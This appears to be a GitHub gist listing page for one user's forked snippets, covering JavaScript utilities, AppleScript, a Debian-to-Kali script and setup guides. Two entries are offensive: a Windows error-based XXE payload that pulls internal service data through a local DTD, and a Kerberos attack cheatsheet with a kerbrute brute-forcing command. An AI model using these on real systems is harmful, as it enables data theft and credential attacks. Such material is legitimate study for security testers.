Skip to content

Instantly share code, notes, and snippets.

View dslusser's full-sized avatar

dslusser

9 followers · 18 following
View GitHub Profile
@dslusser
dslusser / gist:2e5b3b32d81a66638dc1dd6eb208c17d
Created April 2, 2024 14:56 — forked from Rhynorater/gist:d0d19f757221a916a22476c3a5c6aba2
Shubs Windows XXE Payload
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
@dslusser
dslusser / getAllGlobals.js
Created April 2, 2024 14:52 — forked from colinrubbert/getAllGlobals.js
Get all runtime global variables set by the app
/**
* RuntimeGlobalsChecker
*
* You can use this utility to quickly check what variables have been added (or
* leaked) to the global window object at runtime (by JavaScript code).
* By running this code, the globals checker itself is attached as a singleton
* to the window object as "__runtimeGlobalsChecker__".
* You can check the runtime globals programmatically at any time by invoking
* "window.__runtimeGlobalsChecker__.getRuntimeGlobals()".
*
@dslusser
dslusser / download_canvas_rubric.js
Last active September 14, 2023 21:31 — forked from acbart/download_canvas_rubric.js
Snippet to download Canvas rubric data for current assignment as a CSV file
(async function(){
// More info on usage - dws:
// https://community.canvaslms.com/t5/Canvas-Developers-Group/Rubric-Analysis-Using-the-API/ba-p/270213
// Basically just copy/paste this script to the Developer Tools -> Console tab on any Canvas Assignment page
// that has a rubic as a grading method.
// Original Github Gist: https://gist.github.com/acbart/0bfd1b2dbc324b345c305e362e00273c
// https://stackoverflow.com/questions/8735792/how-to-parse-link-header-from-github-api
@dslusser
dslusser / AppleScript Mail Send.scpt
Created February 8, 2023 19:25 — forked from youandhubris/AppleScript Mail Send.scpt
AppleScript to send e-mail, using Apple's Mail, with multiple recipients, cc, bcc and attachments
tell application "Mail"
set theFrom to ""
set theTos to {}
set theCcs to {}
set theBccs to {}
set theSubject to ""
set theContent to ""
set theSignature to ""
@dslusser
dslusser / kerberos_attacks_cheatsheet.md
Created February 5, 2022 04:58 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@dslusser
dslusser / makekali.sh
Last active January 21, 2021 20:25 — forked from warecrash/makekali.sh
Convert Debian to Kali
apt update
apt -y install wget gnupg dirmngr
wget -q -O - https://archive.kali.org/archive-key.asc | gpg --import
gpg --keyserver hkp://keys.gnupg.net --recv-key 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
echo "deb http://http.kali.org/kali kali-last-snapshot main non-free contrib" >> /etc/apt/sources.list
gpg -a --export ED444FF07D8D0BF6 | sudo apt-key add -
apt update
apt -y upgrade
apt -y dist-upgrade
@dslusser
dslusser / rvm-to-rbenv.md
Created February 11, 2019 00:15 — forked from akdetrick/rvm-to-rbenv.md
Guide to switching to rbenv bliss from RVM hell

RVM to rbenv

Why? @sstephenson explains it best here.

1) remove RVM from your system

This should get rid of the rvm dir and any installed rubies:

$ rvm implode
@dslusser
dslusser / gist:4457c79651611d77e44809ce2b0a4305
Created October 25, 2018 13:51 — forked from mazuhl/gist:392141
Bookmarklet to add stylesheet to web page
javascript: (function () {
var linkNode = document.createElement('link');
linkNode.rel = 'stylesheet';
linkNode.href = 'http://www.website.com/stylesheets/style.css';
document.getElementsByTagName('head')[0].appendChild(linkNode);
})();
@dslusser
dslusser / README.md
Created July 1, 2017 14:03 — forked from hofmannsven/README.md
My simply Raspberry Pi Cheatsheet
@dslusser
dslusser / README.md
Created October 20, 2016 17:51 — forked from jonathantneal/README.md
Local SSL websites on macOS Sierra

Local SSL websites on macOS Sierra

These instructions will guide you through the process of setting up local, trusted websites on your own computer.

These instructions are intended to be used on macOS Sierra, but they have been known to work in El Capitan, Yosemite, Mavericks, and Mountain Lion.

NOTE: You may substitute the edit command for nano, vim, or whatever the editor of your choice is. Personally, I forward the edit command to Sublime Text:

alias edit="/Applications/Sublime\ Text.app/Contents/SharedSupport/bin/subl"